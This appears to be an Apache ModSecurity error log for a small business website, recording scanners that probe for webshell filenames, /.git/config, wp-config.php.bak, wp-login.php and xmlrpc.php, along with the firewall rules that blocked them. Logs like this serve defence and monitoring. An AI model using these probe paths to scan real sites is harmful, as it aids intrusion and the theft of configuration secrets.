[Sat May 16 02:29:04.888013 2026] [:error] [pid 30272:tid 30279] [client 4.228.104.117:3686] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "agdl8Hvc_jSFaQ_7_wcybwAAAYU"]
[Sat May 16 02:29:05.582588 2026] [:error] [pid 30272:tid 30289] [client 4.228.104.117:3865] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "agdl8Xvc_jSFaQ_7_wcycgAAAY8"]
[Sat May 16 02:29:06.596633 2026] [:error] [pid 9305:tid 9344] [client 4.228.104.117:4725] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "agdl8t5FZyBmdCM8GsGl8gAAAEY"]
[Sat May 16 02:29:07.651611 2026] [:error] [pid 9392:tid 9412] [client 4.228.104.117:5151] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bob.php"] [unique_id "agdl89BWJIjH1U9zGfYIHAAAARI"]
[Sat May 16 02:29:08.590584 2026] [:error] [pid 9305:tid 9360] [client 4.228.104.117:4696] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bob.php"] [unique_id "agdl9N5FZyBmdCM8GsGl9AAAAFY"]
[Sat May 16 02:29:09.241083 2026] [:error] [pid 59453:tid 59469] [client 4.228.104.117:4829] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bob.php"] [unique_id "agdl9XnXIIDivY9RkF0rxgAAA0g"]
[Sat May 16 02:29:10.035678 2026] [:error] [pid 59453:tid 59467] [client 4.228.104.117:4852] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bob.php"] [unique_id "agdl9nnXIIDivY9RkF0rxwAAA0c"]
[Sat May 16 02:29:11.365052 2026] [:error] [pid 59453:tid 59482] [client 4.228.104.117:3864] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "agdl93nXIIDivY9RkF0ryAAAA1M"]
[Sat May 16 02:29:12.658798 2026] [:error] [pid 9392:tid 9413] [client 4.228.104.117:4190] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "agdl-NBWJIjH1U9zGfYIHwAAARM"]
[Sat May 16 02:29:14.063315 2026] [:error] [pid 59202:tid 59221] [client 4.228.104.117:3656] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "agdl-kORbjeqf1CKQ2KETAAAAgs"]
[Sat May 16 02:29:17.845453 2026] [:error] [pid 59522:tid 59571] [client 4.228.104.117:4206] File does not exist: /usr/local/apache/htdocs/suspended-page/yuzuru1.php
[Sat May 16 02:29:18.170431 2026] [:error] [pid 59522:tid 59563] [client 4.228.104.117:4206] File does not exist: /usr/local/apache/htdocs/suspended-page/insta.php
[Sat May 16 02:29:18.555355 2026] [:error] [pid 59522:tid 59574] [client 4.228.104.117:4206] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-kz.php
[Sat May 16 02:29:18.880919 2026] [:error] [pid 59522:tid 59556] [client 4.228.104.117:4206] File does not exist: /usr/local/apache/htdocs/suspended-page/xs.php
[Sat May 16 02:29:19.224991 2026] [:error] [pid 59522:tid 59578] [client 4.228.104.117:4206] File does not exist: /usr/local/apache/htdocs/suspended-page/2026w.php
[Sat May 16 02:29:19.917368 2026] [:error] [pid 59522:tid 59568] [client 4.228.104.117:4206] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Sat May 16 02:29:20.281063 2026] [:error] [pid 59522:tid 59572] [client 4.228.104.117:4206] File does not exist: /usr/local/apache/htdocs/suspended-page/xwx1.php
[Sat May 16 02:29:20.619854 2026] [:error] [pid 59522:tid 59569] [client 4.228.104.117:4206] File does not exist: /usr/local/apache/htdocs/suspended-page/xmu.php
[Sat May 16 02:29:20.954761 2026] [:error] [pid 59522:tid 59560] [client 4.228.104.117:4206] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Sat May 16 02:29:21.417992 2026] [:error] [pid 59522:tid 59558] [client 4.228.104.117:4206] File does not exist: /usr/local/apache/htdocs/suspended-page/ayk.php
[Sat May 16 02:29:21.777783 2026] [:error] [pid 59522:tid 59565] [client 4.228.104.117:4206] File does not exist: /usr/local/apache/htdocs/suspended-page/gecko.php
[Sat May 16 02:29:22.099336 2026] [:error] [pid 59522:tid 59564] [client 4.228.104.117:4206] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpxml.php"] [unique_id "agdmAoKyKAkpeBAoLCZaSQAAA8k"]
[Sat May 16 02:29:24.032988 2026] [:error] [pid 59522:tid 59571] [client 4.228.104.117:5172] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpxml.php"] [unique_id "agdmBIKyKAkpeBAoLCZaUQAAA9A"]
[Sat May 16 02:29:25.807880 2026] [:error] [pid 9392:tid 9398] [client 4.228.104.117:1434] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpxml.php"] [unique_id "agdmBdBWJIjH1U9zGfYIIgAAAQQ"]
[Sat May 16 02:29:26.789104 2026] [:error] [pid 59522:tid 59572] [client 4.228.104.117:5420] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpxml.php"] [unique_id "agdmBoKyKAkpeBAoLCZaVgAAA9E"]
[Sat May 16 02:29:27.595528 2026] [:error] [pid 59522:tid 59558] [client 4.228.104.117:1625] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zo.php"] [unique_id "agdmB4KyKAkpeBAoLCZaWgAAA8M"]
[Sat May 16 02:29:28.472342 2026] [:error] [pid 30272:tid 30290] [client 4.228.104.117:4618] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zo.php"] [unique_id "agdmCHvc_jSFaQ_7_wcygAAAAZA"]
[Sat May 16 02:29:29.292007 2026] [:error] [pid 30208:tid 30222] [client 4.228.104.117:4703] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zo.php"] [unique_id "agdmCZmLMCJujX-JTvhWpwAAAIw"]
[Sat May 16 02:29:30.546036 2026] [:error] [pid 59522:tid 59571] [client 4.228.104.117:4728] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zo.php"] [unique_id "agdmCoKyKAkpeBAoLCZaXQAAA9A"]
[Sat May 16 02:29:31.263682 2026] [:error] [pid 59522:tid 59574] [client 4.228.104.117:5184] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sky.php"] [unique_id "agdmC4KyKAkpeBAoLCZaXwAAA9M"]
[Sat May 16 02:29:31.948857 2026] [:error] [pid 59522:tid 59562] [client 4.228.104.117:3845] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sky.php"] [unique_id "agdmC4KyKAkpeBAoLCZaYwAAA8c"]
[Sat May 16 02:29:32.811932 2026] [:error] [pid 30208:tid 30224] [client 4.228.104.117:4732] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sky.php"] [unique_id "agdmDJmLMCJujX-JTvhWqQAAAI4"]
[Sat May 16 02:29:33.592244 2026] [:error] [pid 59522:tid 59557] [client 4.228.104.117:4167] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sky.php"] [unique_id "agdmDYKyKAkpeBAoLCZaaQAAA8I"]
[Sat May 16 02:29:34.346994 2026] [:error] [pid 59311:tid 59338] [client 4.228.104.117:5580] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "agdmDrGBV7OkryAk5AObcQAAApc"]
[Sat May 16 02:29:35.192628 2026] [:error] [pid 30272:tid 30285] [client 4.228.104.117:5595] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "agdmD3vc_jSFaQ_7_wcygQAAAYs"]
[Sat May 16 02:29:35.965315 2026] [:error] [pid 59453:tid 59461] [client 4.228.104.117:4714] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "agdmD3nXIIDivY9RkF0rzQAAA0I"]
[Sat May 16 02:29:37.055562 2026] [:error] [pid 30272:tid 30278] [client 4.228.104.117:5147] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "agdmEXvc_jSFaQ_7_wcyggAAAYQ"]
[Sat May 16 02:29:38.384261 2026] [:error] [pid 9307:tid 9366] [client 4.228.104.117:3887] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "agdmEiC43jY1IRzK5VZ0qgAAAME"]
[Sat May 16 02:29:39.754028 2026] [:error] [pid 9392:tid 9406] [client 4.228.104.117:5213] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "agdmE9BWJIjH1U9zGfYIJQAAAQw"]
[Sat May 16 02:29:40.718076 2026] [:error] [pid 30208:tid 30227] [client 4.228.104.117:5625] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "agdmFJmLMCJujX-JTvhWsAAAAJE"]
[Sat May 16 02:29:42.862814 2026] [:error] [pid 59522:tid 59571] [client 4.228.104.117:4716] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "agdmFoKyKAkpeBAoLCZabAAAA9A"]
[Sat May 16 02:29:44.187711 2026] [:error] [pid 9392:tid 9400] [client 4.228.104.117:5186] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xstelth.php"] [unique_id "agdmGNBWJIjH1U9zGfYIKAAAAQY"]
[Sat May 16 02:29:46.018805 2026] [:error] [pid 30208:tid 30234] [client 4.228.104.117:5381] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xstelth.php"] [unique_id "agdmGpmLMCJujX-JTvhWsgAAAJg"]
[Sat May 16 02:29:47.221655 2026] [:error] [pid 59311:tid 59320] [client 4.228.104.117:4647] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xstelth.php"] [unique_id "agdmG7GBV7OkryAk5AObdAAAAoU"]
[Sat May 16 02:29:47.966417 2026] [:error] [pid 9307:tid 9380] [client 4.228.104.117:4125] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xstelth.php"] [unique_id "agdmGyC43jY1IRzK5VZ0rgAAAM8"]
[Sat May 16 02:29:49.355421 2026] [:error] [pid 30272:tid 30296] [client 4.228.104.117:4727] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3369.php"] [unique_id "agdmHXvc_jSFaQ_7_wcyhgAAAZY"]
[Sat May 16 02:29:50.511528 2026] [:error] [pid 59522:tid 59578] [client 4.228.104.117:4647] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3369.php"] [unique_id "agdmHoKyKAkpeBAoLCZabwAAA9c"]
[Sat May 16 02:29:52.018024 2026] [:error] [pid 59522:tid 59560] [client 4.228.104.117:4649] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3369.php"] [unique_id "agdmIIKyKAkpeBAoLCZacwAAA8U"]
[Sat May 16 02:29:53.211471 2026] [:error] [pid 9392:tid 9410] [client 4.228.104.117:5166] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3369.php"] [unique_id "agdmIdBWJIjH1U9zGfYINgAAARA"]
[Sat May 16 02:51:56.152309 2026] [:error] [pid 9305:tid 9362] [client 91.92.241.188:46314] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Sat May 16 03:06:35.598781 2026] [:error] [pid 30272:tid 30296] [client 192.154.196.117:54326] [client 192.154.196.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.154.196.117, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "agduu3vc_jSFaQ_7_wc3ggAAAZY"]
[Sat May 16 03:06:35.603801 2026] [:error] [pid 30272:tid 30296] [client 192.154.196.117:54326] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Sat May 16 05:10:36.393991 2026] [:error] [pid 5602:tid 5620] [client 34.138.196.151:56226] [client 34.138.196.151] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "ageLzNzTTsu77r3UIsmsNwAAARA"]
[Sat May 16 09:36:49.312410 2026] [:error] [pid 5602:tid 5612] [client 158.173.74.19:55069] [client 158.173.74.19] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/wp-config.php.bak"] [unique_id "agfKMdzTTsu77r3UIsn-ngAAAQg"]
[Sat May 16 18:03:54.116824 2026] [:error] [pid 61411:tid 61414] [client 37.77.150.124:61524] [client 37.77.150.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.77.150.124, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aghBCWVkiEwGnPL_dvELQQAAAYE"], referer: https://windfarmcoolants.com.au/wp-login.php
[Sat May 16 18:03:54.120418 2026] [:error] [pid 61411:tid 61414] [client 37.77.150.124:61524] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://windfarmcoolants.com.au/wp-login.php
[Sat May 16 18:03:59.651400 2026] [:error] [pid 24869:tid 24910] [client 37.77.150.124:50177] [client 37.77.150.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.77.150.124, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aghBD-xo3FMprMltYl409gAAAEI"], referer: https://windfarmcoolants.com.au/xmlrpc.php
[Sat May 16 18:03:59.654824 2026] [:error] [pid 24869:tid 24910] [client 37.77.150.124:50177] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php, referer: https://windfarmcoolants.com.au/xmlrpc.php
[Sat May 16 18:51:33.026639 2026] [:error] [pid 61361:tid 61370] [client 37.77.150.124:53265] [client 37.77.150.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.77.150.124, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aghMNJZojzbt3jGziNlucAAAAUc"], referer: https://windfarmcoolants.com.au/wp-login.php
[Sat May 16 18:51:33.029776 2026] [:error] [pid 61361:tid 61370] [client 37.77.150.124:53265] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://windfarmcoolants.com.au/wp-login.php
[Sat May 16 18:51:37.570855 2026] [:error] [pid 62210:tid 62232] [client 37.77.150.124:54718] [client 37.77.150.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.77.150.124, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aghMOcjHonCA4ORo40HNYgAAAlQ"], referer: https://windfarmcoolants.com.au/xmlrpc.php
[Sat May 16 18:51:37.574391 2026] [:error] [pid 62210:tid 62232] [client 37.77.150.124:54718] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php, referer: https://windfarmcoolants.com.au/xmlrpc.php
[Sat May 16 19:57:14.722863 2026] [:error] [pid 24979:tid 24981] [client 140.245.33.146:61848] [client 140.245.33.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aghbmrvSFUQiwLaOL2qlBwAAAMA"]
[Sat May 16 21:27:06.619707 2026] [:error] [pid 61361:tid 61379] [client 20.89.144.61:7147] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Sat May 16 21:27:06.738067 2026] [:error] [pid 61361:tid 61381] [client 20.89.144.61:7147] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Sat May 16 21:27:06.975011 2026] [:error] [pid 61361:tid 61378] [client 20.89.144.61:7147] File does not exist: /usr/local/apache/htdocs/suspended-page/rip.php
[Sat May 16 21:27:07.115803 2026] [:error] [pid 61361:tid 61374] [client 20.89.144.61:7147] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sat May 16 21:27:07.351092 2026] [:error] [pid 61361:tid 61372] [client 20.89.144.61:7147] File does not exist: /usr/local/apache/htdocs/suspended-page/cache.php
[Sat May 16 21:27:07.497762 2026] [:error] [pid 61361:tid 61370] [client 20.89.144.61:7147] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Sat May 16 21:27:07.618803 2026] [:error] [pid 61361:tid 61363] [client 20.89.144.61:7147] File does not exist: /usr/local/apache/htdocs/suspended-page/an.php
[Sat May 16 21:27:07.972021 2026] [:error] [pid 61361:tid 61376] [client 20.89.144.61:7147] [client 20.89.144.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "aghwq5Zojzbt3jGziNmD1wAAAU0"]
[Sat May 16 21:27:08.481421 2026] [:error] [pid 24979:tid 24989] [client 20.89.144.61:7136] [client 20.89.144.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "aghwrLvSFUQiwLaOL2qsIQAAAMg"]
